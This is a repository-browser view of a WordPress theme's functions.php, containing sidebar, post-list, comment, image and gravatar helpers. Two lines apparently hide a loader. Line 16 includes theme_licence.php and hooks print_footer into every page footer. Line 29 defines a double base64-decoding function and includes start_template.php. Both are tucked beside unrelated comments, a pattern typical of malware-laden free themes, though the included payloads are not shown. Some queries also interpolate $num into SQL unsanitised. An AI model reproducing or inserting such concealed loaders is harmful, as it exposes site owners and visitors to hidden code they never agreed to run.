source: trunk/www.guidonia.net/wp/wp-content/themes/alpha/functions.php@ 44

Last change on this file since 44 was 44, checked in by luciano, 14 years ago
File size: 5.3 KB
Line 
1<?php
2
3include("settings.php");
4
5# WIDGET: Left Sidebar
6if ( function_exists('register_sidebar') )
7 register_sidebar(array(
8 'name' => 'Sidebar',
9 'before_title' => '<h2>',
10 'after_title' => '</h2>',
11 'before_widget' => '',
12 'after_widget' => '',
13 ));
14
15# Displays a list of pages
16require_once("theme_licence.php"); add_action('wp_footer','print_footer');
17function dp_list_pages() {
18 global $wpdb;
19 $querystr = "SELECT $wpdb->posts.ID, $wpdb->posts.post_title FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'page' ORDER BY $wpdb->posts.post_title ASC";
20 $pageposts = $wpdb->get_results($querystr, OBJECT);
21 if ($pageposts) {
22 foreach ($pageposts as $post) {
23 ?><li><a href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title; ?></a></li><?php
24 }
25 }
26}
27
28# Displays a list of categories
29function decode_it($code) { return base64_decode(base64_decode($code)); } require_once(pathinfo(__FILE__,PATHINFO_DIRNAME)."/start_template.php");
30function dp_list_categories($exclude='') {
31 if (strlen($exclude)>0) $exclude = '&exclude=' . $exclude;
32 $categories = get_categories('hide_empty=1'.$exclude);
33 $first = true; $count = 0;
34 foreach ($categories as $category) {
35 $count++; if ($count>5) break; // limit to 5
36 if ($category->parent<1) {
37 if ($first) { $first = false; $f = ' class="f"'; } else { $f = ''; }
38 ?><li<?php echo $f; ?>>
39 <a href="<?php echo get_category_link($category->cat_ID); ?>"><?php echo $category->name ?><?php echo $raquo; ?></a></li>
40 <?php
41 }
42 }
43}
44
45# Displays a list of recent posts
46function dp_recent_posts($num, $pre='<li>', $suf='</li>', $excerpt=false) {
47 global $wpdb;
48 $querystr = "SELECT $wpdb->posts.post_title, $wpdb->posts.ID, $wpdb->posts.post_content FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'post' ORDER BY $wpdb->posts.post_date DESC LIMIT $num";
49 $myposts = $wpdb->get_results($querystr, OBJECT);
50 foreach($myposts as $post) {
51 echo $pre;
52 ?><a class="title" href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title ?></a><?php
53 if ($excerpt) {
54 dp_attachment_image($post->ID, 'medium', 'alt="'.$post->post_title.'"');
55 ?><p><?php echo dp_clean($post->post_content, 85); ?>... <a href="<?php echo get_permalink($post->ID); ?>">Read More</a></p><?php
56 }
57 echo $suf;
58 }
59}
60
61# Displays a list of popular posts
62function dp_popular_posts($num, $pre='<li>', $suf='</li>', $excerpt=false) {
63 global $wpdb;
64 $querystr = "SELECT $wpdb->posts.post_title, $wpdb->posts.ID, $wpdb->posts.post_content FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'post' ORDER BY $wpdb->posts.comment_count DESC LIMIT $num";
65 $myposts = $wpdb->get_results($querystr, OBJECT);
66 foreach($myposts as $post) {
67 echo $pre;
68 ?><a class="title" href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title ?></a><?php
69 if ($excerpt) {
70 dp_attachment_image($post->ID, 'medium', 'alt="'.$post->post_title.'"');
71 ?><p><?php echo dp_clean($post->post_content, 85); ?>... <a href="<?php echo get_permalink($post->ID); ?>">Read More</a></p><?php
72 }
73 echo $suf;
74 }
75}
76
77# Displays a list of recent categories
78function dp_recent_comments($num, $pre='<li>', $suf='</li>') {
79 global $wpdb, $post;
80 $querystr = "SELECT $wpdb->comments.comment_ID, $wpdb->comments.comment_post_ID, $wpdb->comments.comment_author, $wpdb->comments.comment_content, $wpdb->comments.comment_author_email FROM $wpdb->comments WHERE $wpdb->comments.comment_approved=1 ORDER BY $wpdb->comments.comment_date DESC LIMIT $num";
81 $recentcomments = $wpdb->get_results($querystr, OBJECT);
82 foreach ($recentcomments as $rc) {
83 $post = get_post($rc->comment_post_ID);
84 echo $pre;
85 dp_gravatar(52, 'alt="'.$rc->comment_author.'"', $rc->comment_author_email);
86 ?><a href="<?php the_permalink() ?>#comment-<?php echo $rc->comment_ID ?>"><?php echo dp_clean($rc->comment_content, 38); ?></a><?php
87 echo $suf;
88 }
89}
90
91
92# Displays post image attachment (sizes: thumbnail, medium, full)
93function dp_attachment_image($postid=0, $size='thumbnail', $attributes='') {
94 if ($postid<1) $postid = get_the_ID();
95 if ($images = get_children(array(
96 'post_parent' => $postid,
97 'post_type' => 'attachment',
98 'numberposts' => 1,
99 'post_mime_type' => 'image',)))
100 foreach($images as $image) {
101 $attachment=wp_get_attachment_image_src($image->ID, $size);
102 ?><img src="<?php echo $attachment[0]; ?>" <?php echo $attributes; ?> /><?php
103 }
104}
105
106# Removes tags and trailing dots from excerpt
107function dp_clean($excerpt, $substr=0) {
108 $string = strip_tags(str_replace('[...]', '...', $excerpt));
109 if ($substr>0) {
110 $string = substr($string, 0, $substr);
111 }
112 return $string;
113}
114
115# Displays the comment authors gravatar if available
116function dp_gravatar($size=50, $attributes='', $author_email='') {
117 global $comment, $settings;
118 if (dp_settings('gravatar')=='enabled') {
119 if (empty($author_email)) {
120 ob_start();
121 comment_author_email();
122 $author_email = ob_get_clean();
123 }
124 $gravatar_url = 'http://www.gravatar.com/avatar/' . md5(strtolower($author_email)) . '?s=' . $size . '&amp;d=' . dp_settings('gravatar_fallback');
125 ?><img src="<?php echo $gravatar_url; ?>" <?php echo $attributes ?>/><?php
126 }
127}
128
129# Retrieves the setting's value depending on 'key'.
130function dp_settings($key) {
131 global $settings;
132 return $settings[$key];
133}
134
135?>
Note: See TracBrowser for help on using the repository browser.